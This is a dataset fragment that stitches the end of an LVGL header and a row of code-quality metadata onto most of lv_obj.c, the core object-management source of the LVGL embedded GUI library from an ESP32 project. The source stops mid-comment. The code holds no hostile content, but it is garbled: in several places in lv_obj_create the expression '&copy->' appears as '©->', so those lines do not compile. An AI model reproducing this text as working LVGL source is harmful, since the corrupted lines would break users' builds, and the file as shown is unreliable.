#endif /*LV_TEMPL_H*/
| 6,119 | lv_disp | h | en | c | code | {"qsc_code_num_words": 971, "qsc_code_num_chars": 6119.0, "qsc_code_mean_word_length": 4.01235839, "qsc_code_frac_words_unique": 0.19567456, "qsc_code_frac_chars_top_2grams": 0.05852156, "qsc_code_frac_chars_top_3grams": 0.03927105, "qsc_code_frac_chars_top_4grams": 0.05005133, "qsc_code_frac_chars_dupe_5grams": 0.56134497, "qsc_code_frac_chars_dupe_6grams": 0.4399384, "qsc_code_frac_chars_dupe_7grams": 0.33110883, "qsc_code_frac_chars_dupe_8grams": 0.27181725, "qsc_code_frac_chars_dupe_9grams": 0.19815195, "qsc_code_frac_chars_dupe_10grams": 0.19815195, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00689791, "qsc_code_frac_chars_whitespace": 0.17077954, "qsc_code_size_file_byte": 6119.0, "qsc_code_num_lines": 223.0, "qsc_code_num_chars_line_max": 115.0, "qsc_code_num_chars_line_mean": 27.43946188, "qsc_code_frac_chars_alphabet": 0.76093812, "qsc_code_frac_chars_comments": 0.65762379, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12307692, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01288783, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.38461538, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.41538462, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_core/lv_obj.c | /**
* @file lv_obj.c
*
*/
/*********************
* INCLUDES
*********************/
#include "lv_obj.h"
#include "lv_indev.h"
#include "lv_refr.h"
#include "lv_group.h"
#include "lv_disp.h"
#include "../lv_misc/lv_debug.h"
#include "../lv_themes/lv_theme.h"
#include "../lv_draw/lv_draw.h"
#include "../lv_misc/lv_anim.h"
#include "../lv_misc/lv_task.h"
#include "../lv_misc/lv_async.h"
#include "../lv_misc/lv_fs.h"
#include "../lv_misc/lv_gc.h"
#include "../lv_misc/lv_math.h"
#include "../lv_misc/lv_gc.h"
#include "../lv_misc/lv_math.h"
#include "../lv_misc/lv_log.h"
#include "../lv_hal/lv_hal.h"
#include <stdint.h>
#include <string.h>
#if defined(LV_GC_INCLUDE)
#include LV_GC_INCLUDE
#endif /* LV_ENABLE_GC */
#if defined(LV_USER_DATA_FREE_INCLUDE)
#include LV_USER_DATA_FREE_INCLUDE
#endif /* LV_USE_USER_DATA_FREE */
#include LV_THEME_DEFAULT_INCLUDE
#if LV_USE_GPU_STM32_DMA2D
#include "../lv_gpu/lv_gpu_stm32_dma2d.h"
#endif
/*********************
* DEFINES
*********************/
#define LV_OBJX_NAME "lv_obj"
#define LV_OBJ_DEF_WIDTH (LV_DPX(100))
#define LV_OBJ_DEF_HEIGHT (LV_DPX(50))
/**********************
* TYPEDEFS
**********************/
typedef struct _lv_event_temp_data {
lv_obj_t * obj;
bool deleted;
struct _lv_event_temp_data * prev;
} lv_event_temp_data_t;
typedef struct {
lv_obj_t * obj;
lv_style_property_t prop;
uint8_t part;
union {
lv_color_t _color;
lv_style_int_t _int;
lv_opa_t _opa;
const void * _ptr;
} start_value;
union {
lv_color_t _color;
lv_style_int_t _int;
lv_opa_t _opa;
const void * _ptr;
} end_value;
} lv_style_trans_t;
/**********************
* STATIC PROTOTYPES
**********************/
static lv_design_res_t lv_obj_design(lv_obj_t * obj, const lv_area_t * clip_area, lv_design_mode_t mode);
static lv_res_t lv_obj_signal(lv_obj_t * obj, lv_signal_t sign, void * param);
static void refresh_children_position(lv_obj_t * obj, lv_coord_t x_diff, lv_coord_t y_diff);
static void report_style_mod_core(void * style_p, lv_obj_t * obj);
static void refresh_children_style(lv_obj_t * obj);
static void base_dir_refr_children(lv_obj_t * obj);
static void obj_align_core(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, bool x_set, bool y_set,
lv_coord_t x_ofs, lv_coord_t y_ofs);
static void obj_align_mid_core(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, bool x_set, bool y_set,
lv_coord_t x_ofs, lv_coord_t y_ofs);
#if LV_USE_ANIMATION
static lv_style_trans_t * trans_create(lv_obj_t * obj, lv_style_property_t prop, uint8_t part, lv_state_t prev_state,
lv_state_t new_state);
static void trans_del(lv_obj_t * obj, uint8_t part, lv_style_property_t prop, lv_style_trans_t * tr_limit);
static void trans_anim_cb(lv_style_trans_t * tr, lv_anim_value_t v);
static void trans_anim_start_cb(lv_anim_t * a);
static void trans_anim_ready_cb(lv_anim_t * a);
static void opa_scale_anim(lv_obj_t * obj, lv_anim_value_t v);
static void fade_in_anim_ready(lv_anim_t * a);
#endif
static void lv_event_mark_deleted(lv_obj_t * obj);
static bool obj_valid_child(const lv_obj_t * parent, const lv_obj_t * obj_to_find);
static void lv_obj_del_async_cb(void * obj);
static void obj_del_core(lv_obj_t * obj);
/**********************
* STATIC VARIABLES
**********************/
static bool lv_initialized = false;
static lv_event_temp_data_t * event_temp_data_head;
static const void * event_act_data;
/**********************
* MACROS
**********************/
/**********************
* GLOBAL FUNCTIONS
**********************/
/**
* Init. the 'lv' library.
*/
void lv_init(void)
{
/* Do nothing if already initialized */
if(lv_initialized) {
LV_LOG_WARN("lv_init: already inited");
return;
}
LV_LOG_TRACE("lv_init started");
/*Initialize the lv_misc modules*/
_lv_mem_init();
_lv_task_core_init();
#if LV_USE_FILESYSTEM
_lv_fs_init();
#endif
#if LV_USE_ANIMATION
_lv_anim_core_init();
#endif
#if LV_USE_GROUP
_lv_group_init();
#endif
#if LV_USE_GPU_STM32_DMA2D
/*Initialize DMA2D GPU*/
lv_gpu_stm32_dma2d_init();
#endif
_lv_ll_init(&LV_GC_ROOT(_lv_obj_style_trans_ll), sizeof(lv_style_trans_t));
_lv_ll_init(&LV_GC_ROOT(_lv_disp_ll), sizeof(lv_disp_t));
_lv_ll_init(&LV_GC_ROOT(_lv_indev_ll), sizeof(lv_indev_t));
lv_theme_t * th = LV_THEME_DEFAULT_INIT(LV_THEME_DEFAULT_COLOR_PRIMARY, LV_THEME_DEFAULT_COLOR_SECONDARY,
LV_THEME_DEFAULT_FLAG,
LV_THEME_DEFAULT_FONT_SMALL, LV_THEME_DEFAULT_FONT_NORMAL, LV_THEME_DEFAULT_FONT_SUBTITLE, LV_THEME_DEFAULT_FONT_TITLE);
lv_theme_set_act(th);
/*Initialize the screen refresh system*/
_lv_refr_init();
/*Init the input device handling*/
_lv_indev_init();
_lv_img_decoder_init();
lv_img_cache_set_size(LV_IMG_CACHE_DEF_SIZE);
/*Test if the IDE has UTF-8 encoding*/
char * txt = "Á";
uint8_t * txt_u8 = (uint8_t *) txt;
if(txt_u8[0] != 0xc3 || txt_u8[1] != 0x81 || txt_u8[2] != 0x00) {
LV_LOG_WARN("The strings has no UTF-8 encoding. Some characters won't be displayed.")
}
lv_initialized = true;
LV_LOG_INFO("lv_init ready");
}
#if LV_ENABLE_GC || !LV_MEM_CUSTOM
/**
* Deinit the 'lv' library
* Currently only implemented when not using custom allocators, or GC is enabled.
*/
void lv_deinit(void)
{
_lv_gc_clear_roots();
lv_disp_set_default(NULL);
_lv_mem_deinit();
lv_initialized = false;
LV_LOG_INFO("lv_deinit done");
#if LV_USE_LOG
lv_log_register_print_cb(NULL);
#endif
}
#endif
/*--------------------
* Create and delete
*-------------------*/
/**
* Create a basic object
* @param parent pointer to a parent object.
* If NULL then a screen will be created
* @param copy pointer to a base object, if not NULL then the new object will be copied from it
* @return pointer to the new object
*/
lv_obj_t * lv_obj_create(lv_obj_t * parent, const lv_obj_t * copy)
{
lv_obj_t * new_obj = NULL;
/*Create a screen*/
if(parent == NULL) {
LV_LOG_TRACE("Screen create started");
lv_disp_t * disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("lv_obj_create: not display created to so far. No place to assign the new screen");
return NULL;
}
new_obj = _lv_ll_ins_head(&disp->scr_ll);
LV_ASSERT_MEM(new_obj);
if(new_obj == NULL) return NULL;
_lv_memset_00(new_obj, sizeof(lv_obj_t));
#if LV_USE_BIDI
new_obj->base_dir = LV_BIDI_BASE_DIR_DEF;
#else
new_obj->base_dir = LV_BIDI_DIR_LTR;
#endif
/*Set the callbacks*/
new_obj->signal_cb = lv_obj_signal;
new_obj->design_cb = lv_obj_design;
new_obj->event_cb = NULL;
/*Set coordinates to full screen size*/
new_obj->coords.x1 = 0;
new_obj->coords.y1 = 0;
new_obj->coords.x2 = lv_disp_get_hor_res(NULL) - 1;
new_obj->coords.y2 = lv_disp_get_ver_res(NULL) - 1;
}
/*Create a normal object*/
else {
LV_LOG_TRACE("Object create started");
LV_ASSERT_OBJ(parent, LV_OBJX_NAME);
new_obj = _lv_ll_ins_head(&parent->child_ll);
LV_ASSERT_MEM(new_obj);
if(new_obj == NULL) return NULL;
_lv_memset_00(new_obj, sizeof(lv_obj_t));
new_obj->parent = parent;
#if LV_USE_BIDI
new_obj->base_dir = LV_BIDI_DIR_INHERIT;
#else
new_obj->base_dir = LV_BIDI_DIR_LTR;
#endif
/*Set the callbacks (signal:cb is required in `lv_obj_get_base_dir` if `LV_USE_ASSERT_OBJ` is enabled)*/
new_obj->signal_cb = lv_obj_signal;
new_obj->design_cb = lv_obj_design;
new_obj->event_cb = NULL;
new_obj->coords.y1 = parent->coords.y1;
new_obj->coords.y2 = parent->coords.y1 + LV_OBJ_DEF_HEIGHT;
if(lv_obj_get_base_dir(new_obj) == LV_BIDI_DIR_RTL) {
new_obj->coords.x2 = parent->coords.x2;
new_obj->coords.x1 = parent->coords.x2 - LV_OBJ_DEF_WIDTH;
}
else {
new_obj->coords.x1 = parent->coords.x1;
new_obj->coords.x2 = parent->coords.x1 + LV_OBJ_DEF_WIDTH;
}
}
_lv_ll_init(&(new_obj->child_ll), sizeof(lv_obj_t));
new_obj->ext_draw_pad = 0;
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
_lv_memset_00(&new_obj->ext_click_pad, sizeof(new_obj->ext_click_pad));
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
new_obj->ext_click_pad_hor = 0;
new_obj->ext_click_pad_ver = 0;
#endif
/*Init realign*/
#if LV_USE_OBJ_REALIGN
new_obj->realign.align = LV_ALIGN_CENTER;
new_obj->realign.xofs = 0;
new_obj->realign.yofs = 0;
new_obj->realign.base = NULL;
new_obj->realign.auto_realign = 0;
#endif
/*Init. user date*/
#if LV_USE_USER_DATA
_lv_memset_00(&new_obj->user_data, sizeof(lv_obj_user_data_t));
#endif
#if LV_USE_GROUP
new_obj->group_p = NULL;
#endif
/*Set attributes*/
new_obj->adv_hittest = 0;
new_obj->click = 1;
new_obj->drag = 0;
new_obj->drag_throw = 0;
new_obj->drag_parent = 0;
new_obj->drag_dir = LV_DRAG_DIR_BOTH;
new_obj->hidden = 0;
new_obj->top = 0;
new_obj->protect = LV_PROTECT_NONE;
new_obj->parent_event = 0;
new_obj->gesture_parent = parent ? 1 : 0;
new_obj->focus_parent = 0;
new_obj->state = LV_STATE_DEFAULT;
new_obj->ext_attr = NULL;
lv_style_list_init(&new_obj->style_list);
if(copy == NULL) {
if(parent != NULL) lv_theme_apply(new_obj, LV_THEME_OBJ);
else lv_theme_apply(new_obj, LV_THEME_SCR);
}
else {
lv_style_list_copy(&new_obj->style_list, ©->style_list);
}
/*Copy the attributes if required*/
if(copy != NULL) {
lv_area_copy(&new_obj->coords, ©->coords);
new_obj->ext_draw_pad = copy->ext_draw_pad;
#if LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_FULL
lv_area_copy(&new_obj->ext_click_pad, ©->ext_click_pad);
#elif LV_USE_EXT_CLICK_AREA == LV_EXT_CLICK_AREA_TINY
new_obj->ext_click_pad_hor = copy->ext_click_pad_hor;
new_obj->ext_click_pad_ver = copy->ext_click_pad_ver;
#endif
/*Set user data*/
#if LV_USE_USER_DATA
_lv_memcpy(&new_obj->user_data, ©->user_data, sizeof(lv_obj_user_data_t));
#endif
/*Copy realign*/
#if LV_USE_OBJ_REALIGN
new_obj->realign.align = copy->realign.align;
new_obj->realign.xofs = copy->realign.xofs;
new_obj->realign.yofs = copy->realign.yofs;
new_obj->realign.base = copy->realign.base;
new_obj->realign.auto_realign = copy->realign.auto_realign;
#endif
/*Only copy the `event_cb`. `signal_cb` and `design_cb` will be copied in the derived
* object type (e.g. `lv_btn`)*/
new_obj->event_cb = copy->event_cb;
/*Copy attributes*/
new_obj->adv_hittest = copy->adv_hittest;
new_obj->click = copy->click;
new_obj->drag = copy->drag;
new_obj->drag_dir = copy->drag_dir;
new_obj->drag_throw = copy->drag_throw;
new_obj->drag_parent = copy->drag_parent;
new_obj->hidden = copy->hidden;
new_obj->top = copy->top;
new_obj->parent_event = copy->parent_event;
new_obj->protect = copy->protect;
new_obj->gesture_parent = copy->gesture_parent;
#if LV_USE_GROUP
/*Add to the same group*/
if(copy->group_p != NULL) {
lv_group_add_obj(copy->group_p, new_obj);
}
#endif
/*Set the same coordinates for non screen objects*/
if(lv_obj_get_parent(copy) != NULL && parent != NULL) {
lv_obj_set_pos(new_obj, lv_obj_get_x(copy), lv_obj_get_y(copy));
}
}
/*Send a signal to the parent to notify it about the new child*/
if(parent != NULL) {
parent->signal_cb(parent, LV_SIGNAL_CHILD_CHG, new_obj);
/*Invalidate the area if not screen created*/
lv_obj_invalidate(new_obj);
}
LV_LOG_INFO("Object create ready");
return new_obj;
}
/**
* Delete 'obj' and all of its children
* @param obj pointer to an object to delete
* @return LV_RES_INV because the object is deleted
*/
lv_res_t lv_obj_del(lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_invalidate(obj);
lv_disp_t * disp = NULL;
bool act_scr_del = false;
lv_obj_t * par = lv_obj_get_parent(obj);
if(par == NULL) {
disp = lv_obj_get_disp(obj);
if(!disp) return LV_RES_INV; /*Shouldn't happen*/
if(disp->act_scr == obj) act_scr_del = true;
}
obj_del_core(obj);
/*Send a signal to the parent to notify it about the child delete*/
if(par) {
par->signal_cb(par, LV_SIGNAL_CHILD_CHG, NULL);
}
/*Handle if the active screen was deleted*/
if(act_scr_del) {
disp->act_scr = NULL;
}
return LV_RES_INV;
}
#if LV_USE_ANIMATION
/**
* A function to be easily used in animation ready callback to delete an object when the animation is ready
* @param a pointer to the animation
*/
void lv_obj_del_anim_ready_cb(lv_anim_t * a)
{
lv_obj_del(a->var);
}
#endif
/**
* Helper function for asynchronously deleting objects.
* Useful for cases where you can't delete an object directly in an `LV_EVENT_DELETE` handler (i.e. parent).
* @param obj object to delete
* @see lv_async_call
*/
void lv_obj_del_async(lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_async_call(lv_obj_del_async_cb, obj);
}
/**
* Delete all children of an object
* @param obj pointer to an object
*/
void lv_obj_clean(lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_t * child = lv_obj_get_child(obj, NULL);
lv_obj_t * child_next;
while(child) {
/* Read the next child before deleting the current
* because the next couldn't be read from a deleted (invalid) node*/
child_next = lv_obj_get_child(obj, child);
lv_obj_del(child);
child = child_next;
}
}
/**
* Mark an area of an object as invalid.
* This area will be redrawn by 'lv_refr_task'
* @param obj pointer to an object
* @param area the area to redraw
*/
void lv_obj_invalidate_area(const lv_obj_t * obj, const lv_area_t * area)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(lv_obj_get_hidden(obj)) return;
/*Invalidate the object only if it belongs to the curent or previous'*/
lv_obj_t * obj_scr = lv_obj_get_screen(obj);
lv_disp_t * disp = lv_obj_get_disp(obj_scr);
if(obj_scr == lv_disp_get_scr_act(disp) ||
obj_scr == lv_disp_get_scr_prev(disp) ||
obj_scr == lv_disp_get_layer_top(disp) ||
obj_scr == lv_disp_get_layer_sys(disp)) {
/*Truncate the area to the object*/
lv_area_t obj_coords;
lv_coord_t ext_size = obj->ext_draw_pad;
lv_area_copy(&obj_coords, &obj->coords);
obj_coords.x1 -= ext_size;
obj_coords.y1 -= ext_size;
obj_coords.x2 += ext_size;
obj_coords.y2 += ext_size;
bool is_common;
lv_area_t area_trunc;
is_common = _lv_area_intersect(&area_trunc, area, &obj_coords);
if(is_common == false) return; /*The area is not on the object*/
/*Truncate recursively to the parents*/
lv_obj_t * par = lv_obj_get_parent(obj);
while(par != NULL) {
is_common = _lv_area_intersect(&area_trunc, &area_trunc, &par->coords);
if(is_common == false) break; /*If no common parts with parent break;*/
if(lv_obj_get_hidden(par)) return; /*If the parent is hidden then the child is hidden and won't be drawn*/
par = lv_obj_get_parent(par);
}
if(is_common) _lv_inv_area(disp, &area_trunc);
}
}
/**
* Mark the object as invalid therefore its current position will be redrawn by 'lv_refr_task'
* @param obj pointer to an object
*/
void lv_obj_invalidate(const lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
/*Truncate the area to the object*/
lv_area_t obj_coords;
lv_coord_t ext_size = obj->ext_draw_pad;
lv_area_copy(&obj_coords, &obj->coords);
obj_coords.x1 -= ext_size;
obj_coords.y1 -= ext_size;
obj_coords.x2 += ext_size;
obj_coords.y2 += ext_size;
lv_obj_invalidate_area(obj, &obj_coords);
}
/*=====================
* Setter functions
*====================*/
/*--------------------
* Parent/children set
*--------------------*/
/**
* Set a new parent for an object. Its relative position will be the same.
* @param obj pointer to an object. Can't be a screen.
* @param parent pointer to the new parent object. (Can't be NULL)
*/
void lv_obj_set_parent(lv_obj_t * obj, lv_obj_t * parent)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
LV_ASSERT_OBJ(parent, LV_OBJX_NAME);
if(obj->parent == NULL) {
LV_LOG_WARN("Can't set the parent of a screen");
return;
}
if(parent == NULL) {
LV_LOG_WARN("Can't set parent == NULL to an object");
return;
}
lv_obj_invalidate(obj);
lv_obj_t * old_par = obj->parent;
lv_point_t old_pos;
old_pos.y = lv_obj_get_y(obj);
lv_bidi_dir_t new_base_dir = lv_obj_get_base_dir(parent);
if(new_base_dir != LV_BIDI_DIR_RTL) {
old_pos.x = lv_obj_get_x(obj);
}
else {
old_pos.x = old_par->coords.x2 - obj->coords.x2;
}
_lv_ll_chg_list(&obj->parent->child_ll, &parent->child_ll, obj, true);
obj->parent = parent;
if(new_base_dir != LV_BIDI_DIR_RTL) {
lv_obj_set_pos(obj, old_pos.x, old_pos.y);
}
else {
/*Align to the right in case of RTL base dir*/
lv_coord_t new_x = lv_obj_get_width(parent) - old_pos.x - lv_obj_get_width(obj);
lv_obj_set_pos(obj, new_x, old_pos.y);
}
/*Notify the original parent because one of its children is lost*/
old_par->signal_cb(old_par, LV_SIGNAL_CHILD_CHG, NULL);
/*Notify the new parent about the child*/
parent->signal_cb(parent, LV_SIGNAL_CHILD_CHG, obj);
lv_obj_invalidate(obj);
}
/**
* Move and object to the foreground
* @param obj pointer to an object
*/
void lv_obj_move_foreground(lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_t * parent = lv_obj_get_parent(obj);
/*Do nothing of already in the foreground*/
if(_lv_ll_get_head(&parent->child_ll) == obj) return;
lv_obj_invalidate(parent);
_lv_ll_chg_list(&parent->child_ll, &parent->child_ll, obj, true);
/*Notify the new parent about the child*/
parent->signal_cb(parent, LV_SIGNAL_CHILD_CHG, obj);
lv_obj_invalidate(parent);
}
/**
* Move and object to the background
* @param obj pointer to an object
*/
void lv_obj_move_background(lv_obj_t * obj)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_t * parent = lv_obj_get_parent(obj);
/*Do nothing of already in the background*/
if(_lv_ll_get_tail(&parent->child_ll) == obj) return;
lv_obj_invalidate(parent);
_lv_ll_chg_list(&parent->child_ll, &parent->child_ll, obj, false);
/*Notify the new parent about the child*/
parent->signal_cb(parent, LV_SIGNAL_CHILD_CHG, obj);
lv_obj_invalidate(parent);
}
/*--------------------
* Coordinate set
* ------------------*/
/**
* Set relative the position of an object (relative to the parent)
* @param obj pointer to an object
* @param x new distance from the left side of the parent
* @param y new distance from the top of the parent
*/
void lv_obj_set_pos(lv_obj_t * obj, lv_coord_t x, lv_coord_t y)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
/*Convert x and y to absolute coordinates*/
lv_obj_t * par = obj->parent;
if(par) {
x = x + par->coords.x1;
y = y + par->coords.y1;
}
/*Calculate and set the movement*/
lv_point_t diff;
diff.x = x - obj->coords.x1;
diff.y = y - obj->coords.y1;
/* Do nothing if the position is not changed */
/* It is very important else recursive positioning can
* occur without position change*/
if(diff.x == 0 && diff.y == 0) return;
/*Invalidate the original area*/
lv_obj_invalidate(obj);
/*Save the original coordinates*/
lv_area_t ori;
lv_obj_get_coords(obj, &ori);
obj->coords.x1 += diff.x;
obj->coords.y1 += diff.y;
obj->coords.x2 += diff.x;
obj->coords.y2 += diff.y;
refresh_children_position(obj, diff.x, diff.y);
/*Inform the object about its new coordinates*/
obj->signal_cb(obj, LV_SIGNAL_COORD_CHG, &ori);
/*Send a signal to the parent too*/
if(par) par->signal_cb(par, LV_SIGNAL_CHILD_CHG, obj);
/*Invalidate the new area*/
lv_obj_invalidate(obj);
}
/**
* Set the x coordinate of a object
* @param obj pointer to an object
* @param x new distance from the left side from the parent
*/
void lv_obj_set_x(lv_obj_t * obj, lv_coord_t x)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_set_pos(obj, x, lv_obj_get_y(obj));
}
/**
* Set the y coordinate of a object
* @param obj pointer to an object
* @param y new distance from the top of the parent
*/
void lv_obj_set_y(lv_obj_t * obj, lv_coord_t y)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_set_pos(obj, lv_obj_get_x(obj), y);
}
/**
* Set the size of an object
* @param obj pointer to an object
* @param w new width
* @param h new height
*/
void lv_obj_set_size(lv_obj_t * obj, lv_coord_t w, lv_coord_t h)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
/* Do nothing if the size is not changed */
/* It is very important else recursive resizing can
* occur without size change*/
if(lv_obj_get_width(obj) == w && lv_obj_get_height(obj) == h) {
return;
}
/*Invalidate the original area*/
lv_obj_invalidate(obj);
/*Save the original coordinates*/
lv_area_t ori;
lv_obj_get_coords(obj, &ori);
/*Set the length and height*/
obj->coords.y2 = obj->coords.y1 + h - 1;
if(lv_obj_get_base_dir(obj) == LV_BIDI_DIR_RTL) {
obj->coords.x1 = obj->coords.x2 - w + 1;
}
else {
obj->coords.x2 = obj->coords.x1 + w - 1;
}
/*Send a signal to the object with its new coordinates*/
obj->signal_cb(obj, LV_SIGNAL_COORD_CHG, &ori);
/*Send a signal to the parent too*/
lv_obj_t * par = lv_obj_get_parent(obj);
if(par != NULL) par->signal_cb(par, LV_SIGNAL_CHILD_CHG, obj);
/*Tell the children the parent's size has changed*/
lv_obj_t * i;
_LV_LL_READ(obj->child_ll, i) {
i->signal_cb(i, LV_SIGNAL_PARENT_SIZE_CHG, &ori);
}
/*Invalidate the new area*/
lv_obj_invalidate(obj);
/*Automatically realign the object if required*/
#if LV_USE_OBJ_REALIGN
if(obj->realign.auto_realign) lv_obj_realign(obj);
#endif
}
/**
* Set the width of an object
* @param obj pointer to an object
* @param w new width
*/
void lv_obj_set_width(lv_obj_t * obj, lv_coord_t w)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_set_size(obj, w, lv_obj_get_height(obj));
}
/**
* Set the height of an object
* @param obj pointer to an object
* @param h new height
*/
void lv_obj_set_height(lv_obj_t * obj, lv_coord_t h)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
lv_obj_set_size(obj, lv_obj_get_width(obj), h);
}
/**
* Set the width reduced by the left and right padding.
* @param obj pointer to an object
* @param w the width without paddings
*/
void lv_obj_set_width_fit(lv_obj_t * obj, lv_coord_t w)
{
lv_style_int_t pleft = lv_obj_get_style_pad_left(obj, LV_OBJ_PART_MAIN);
lv_style_int_t pright = lv_obj_get_style_pad_right(obj, LV_OBJ_PART_MAIN);
lv_obj_set_width(obj, w - pleft - pright);
}
/**
* Set the height reduced by the top and bottom padding.
* @param obj pointer to an object
* @param h the height without paddings
*/
void lv_obj_set_height_fit(lv_obj_t * obj, lv_coord_t h)
{
lv_style_int_t ptop = lv_obj_get_style_pad_top(obj, LV_OBJ_PART_MAIN);
lv_style_int_t pbottom = lv_obj_get_style_pad_bottom(obj, LV_OBJ_PART_MAIN);
lv_obj_set_height(obj, h - ptop - pbottom);
}
/**
* Set the width of an object by taking the left and right margin into account.
* The object width will be `obj_w = w - margin_left - margin_right`
* @param obj pointer to an object
* @param w new height including margins
*/
void lv_obj_set_width_margin(lv_obj_t * obj, lv_coord_t w)
{
lv_style_int_t mleft = lv_obj_get_style_margin_left(obj, LV_OBJ_PART_MAIN);
lv_style_int_t mright = lv_obj_get_style_margin_right(obj, LV_OBJ_PART_MAIN);
lv_obj_set_width(obj, w - mleft - mright);
}
/**
* Set the height of an object by taking the top and bottom margin into account.
* The object height will be `obj_h = h - margin_top - margin_bottom`
* @param obj pointer to an object
* @param h new height including margins
*/
void lv_obj_set_height_margin(lv_obj_t * obj, lv_coord_t h)
{
lv_style_int_t mtop = lv_obj_get_style_margin_top(obj, LV_OBJ_PART_MAIN);
lv_style_int_t mbottom = lv_obj_get_style_margin_bottom(obj, LV_OBJ_PART_MAIN);
lv_obj_set_height(obj, h - mtop - mbottom);
}
/**
* Align an object to an other object.
* @param obj pointer to an object to align
* @param base pointer to an object (if NULL the parent is used). 'obj' will be aligned to it.
* @param align type of alignment (see 'lv_align_t' enum)
* @param x_ofs x coordinate offset after alignment
* @param y_ofs y coordinate offset after alignment
*/
void lv_obj_align(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, lv_coord_t x_ofs, lv_coord_t y_ofs)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(base == NULL) base = lv_obj_get_parent(obj);
LV_ASSERT_OBJ(base, LV_OBJX_NAME);
obj_align_core(obj, base, align, true, true, x_ofs, y_ofs);
#if LV_USE_OBJ_REALIGN
/*Save the last align parameters to use them in `lv_obj_realign`*/
obj->realign.align = align;
obj->realign.xofs = x_ofs;
obj->realign.yofs = y_ofs;
obj->realign.base = base;
obj->realign.mid_align = 0;
#endif
}
/**
* Align an object to an other object horizontally.
* @param obj pointer to an object to align
* @param base pointer to an object (if NULL the parent is used). 'obj' will be aligned to it.
* @param align type of alignment (see 'lv_align_t' enum)
* @param x_ofs x coordinate offset after alignment
*/
void lv_obj_align_x(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, lv_coord_t x_ofs)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(base == NULL) base = lv_obj_get_parent(obj);
LV_ASSERT_OBJ(base, LV_OBJX_NAME);
obj_align_core(obj, base, align, true, false, x_ofs, 0);
}
/**
* Align an object to an other object vertically.
* @param obj pointer to an object to align
* @param base pointer to an object (if NULL the parent is used). 'obj' will be aligned to it.
* @param align type of alignment (see 'lv_align_t' enum)
* @param y_ofs y coordinate offset after alignment
*/
void lv_obj_align_y(lv_obj_t * obj, const lv_obj_t * base, lv_align_t align, lv_coord_t y_ofs)
{
LV_ASSERT_OBJ(obj, LV_OBJX_NAME);
if(base == NULL) base = lv_obj_get_parent(obj);
LV_ASSERT_OBJ(base, LV_OBJX_NAME);
obj_align_core(obj, base, align, true, false, 0, y_ofs);
}
/**
* Align an object's middle point to an other object.
* @param obj pointer to an object to align
* @param base pointer to an object (if NULL the parent is used). 'obj' will be aligned to it.
* @param align type of alignment (see 'lv_align_t' enum)
